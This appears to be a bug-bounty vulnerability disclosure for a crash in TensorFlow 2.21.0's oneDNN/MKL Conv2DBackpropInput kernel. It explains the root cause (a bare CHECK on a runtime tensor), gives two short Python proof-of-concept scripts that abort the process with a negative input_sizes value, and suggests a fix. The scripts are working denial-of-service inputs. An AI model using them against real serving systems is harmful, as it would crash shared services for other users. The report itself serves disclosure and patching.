EnigmaConsultant/huntr-poc-tf-kernel-conv2dbackpropinput-mkl-checkfail

Conv2DBackpropInput MKL kernel CHECK-fail (LOG(FATAL)/SIGABRT) on attacker-controlled negative input_sizes dimension

Summary

A negative dimension value in the runtime input_sizes tensor of Conv2DBackpropInput triggers an unconditional CHECK/LOG(FATAL) inside TensorFlow's oneDNN/MKL kernel MklConvCustomBackpropInputOp, calling abort() and terminating the entire host process (SIGABRT, exit 134). Because the failing value is read from a runtime tensor, it bypasses import-time shape inference and is reachable in a SavedModel / TF-Serving inference setting where the shape is derived from attacker-controlled input. The non-MKL fallback kernel validates the same value gracefully with OP_REQUIRES, which confirms the fault is specifically the MKL path's use of a bare CHECK.

Target

• Package: tensorflow-cpu (default PyPI build)
• Version: 2.21.0
• Platform: CPU, Linux x86-64
• Config: oneDNN custom ops ON (the default for the PyPI CPU wheel)
• Op: tf.raw_ops.Conv2DBackpropInput

Root cause

With oneDNN custom ops enabled (default), Conv2DBackpropInput dispatches to the MKL kernel MklConvCustomBackpropInputOp. Its MakeInputTfShape builds the output shape from the runtime input_sizes tensor using tensor::MakeShape(...) wrapped in a bare TF_CHECK_OK / CHECK, not OP_REQUIRES_OK:

tensorflow/core/kernels/mkl/mkl_conv_grad_input_ops.cc:610

// MklConvCustomBackpropInputOp<...>::MakeInputTfShape(...)
TF_CHECK_OK(tensor::MakeShape(input_tensor, &input_tf_shape));
// expands to:
//   CHECK_OK( (::tsl::TfCheckOkDeprecationMarker(), tensor::MakeShape(...)) )
// On a non-OK status this calls LOG(FATAL) -> abort().

When input_sizes contains a negative dimension (e.g. -4), tensor::MakeShape returns INVALID_ARGUMENT("Dimension -4 must be >= 0"). The CHECK sees a non-OK status and calls LOG(FATAL) -> abort(), killing the whole process.

By contrast, the non-MKL fallback kernel validates the same value with OP_REQUIRES and returns a graceful InvalidArgumentError:

tensorflow/core/kernels/conv_grad_input_ops.h:475

OP_REQUIRES_OK(context, ...);  // graceful InvalidArgumentError, no abort

This asymmetry proves the DoS is specific to the MKL/oneDNN code path's use of an unconditional CHECK on attacker-controlled data.

Proof of Concept

1. Minimal eager repro (repro_min.py) — exit 134 (SIGABRT)

import faulthandler; faulthandler.enable()
import numpy as np, tensorflow as tf
r = tf.raw_ops.Conv2DBackpropInput(
    input_sizes=np.array([1, -4, 4, 1], np.int32),
    filter=np.zeros((2, 2, 1, 1), np.float32),
    out_backprop=np.zeros((1, 3, 3, 1), np.float32),
    strides=[1, 1, 1, 1], padding="VALID")
print("NO CRASH", np.asarray(r).shape)

2. SavedModel / serving threat model (gd_repro2.py) — exit 134 (SIGABRT)

A v1 graph where input_sizes is a runtime-fed placeholder (shape derived from attacker input at inference time). This bypasses import-time shape inference and aborts on session.run:

import numpy as np, tensorflow as tf
tf.compat.v1.disable_eager_execution()
isz = tf.compat.v1.placeholder(tf.int32, shape=[4], name="isz")
flt = tf.constant(np.zeros((2,2,1,1),np.float32))
obp = tf.constant(np.zeros((1,3,3,1),np.float32))
y = tf.raw_ops.Conv2DBackpropInput(input_sizes=isz, filter=flt, out_backprop=obp,
                                   strides=[1,1,1,1], padding="VALID")
with tf.compat.v1.Session() as s:
    out = s.run(y, feed_dict={isz: np.array([1,-4,4,1],np.int32)})
    print("NO CRASH", out.shape)

Negative controls

• (a) Valid input_sizes (neg_control.py): input_sizes=[1,4,4,1] -> clean output shape (1,4,4,1), exit 0. Isolates the fault to the negative dim value.
• (b) Non-MKL path: same negative-dim input with TF_ENABLE_ONEDNN_OPTS=0 -> graceful InvalidArgumentError: Dimension -4 must be >= 0, exit 0. Isolates the fault to the MKL/oneDNN kernel.

Captured evidence (verbatim)

F0000 00:00:1784216124.580879  487315 mkl_conv_grad_input_ops.cc:610] Check failed: (::tsl::TfCheckOkDeprecationMarker(), tensor::MakeShape(input_tensor, &input_tf_shape)) is OK (INVALID_ARGUMENT: Dimension -4 must be >= 0)
*** Check failure stack trace: ***
    @     0x7f159e336a62  tensorflow::MklConvCustomBackpropInputOp<>::MakeInputTfShape()
    @     0x7f159e333de1  tensorflow::MklConvCustomBackpropInputOp<>::Compute()
    @     0x7f15b178f300  tensorflow::ThreadPoolDevice::Compute()
Fatal Python error: Aborted

Result matrix:

eager repro (input_sizes=[1,-4,4,1])                  -> exit 134 (SIGABRT)
graph placeholder-fed repro (feed [1,-4,4,1])         -> exit 134 (SIGABRT)
neg control valid input_sizes=[1,4,4,1]               -> exit 0, shape (1,4,4,1)
oneDNN-OFF (TF_ENABLE_ONEDNN_OPTS=0) same neg input   -> InvalidArgumentError (graceful), exit 0

Impact

Denial of service. A crafted Conv2DBackpropInput node with an attacker-controlled input_sizes value (e.g. shape derived from request input in a served SavedModel) aborts the entire TensorFlow process via LOG(FATAL). In a multi-tenant / serving context this takes down the whole worker, not just the failing request. No graceful error handling is possible on the MKL path because the failure is an unconditional CHECK.

Suggested fix

Replace the TF_CHECK_OK(tensor::MakeShape(...)) at mkl_conv_grad_input_ops.cc:610 with OP_REQUIRES_OK(context, tensor::MakeShape(...)) (matching the non-MKL kernel at conv_grad_input_ops.h:475), so an invalid input_sizes value returns an InvalidArgumentError instead of aborting the process.

Dedup / prior art

The classic historical Conv2DBackpropInput CVEs (e.g. CVE-2021-29524, CVE-2020-15207 era) were fixed by adding OP_REQUIRES/shape validation on the standard kernel path. This report is distinct: the graceful validation exists and works on the non-MKL kernel (conv_grad_input_ops.h), but the oneDNN/MKL kernel (mkl_conv_grad_input_ops.cc) still uses a bare CHECK/TF_CHECK_OK on the same attacker-controlled input_sizes, and is the default path for the PyPI tensorflow-cpu CPU wheel (oneDNN custom ops ON). Verified reproducible on the current released TF 2.21.0 PyPI build.

Repro environment

• tensorflow-cpu==2.21.0 (PyPI), CPU, Linux x86-64, oneDNN custom ops ON (default)
• Repro files: repro_min.py, neg_control.py, gd_repro2.py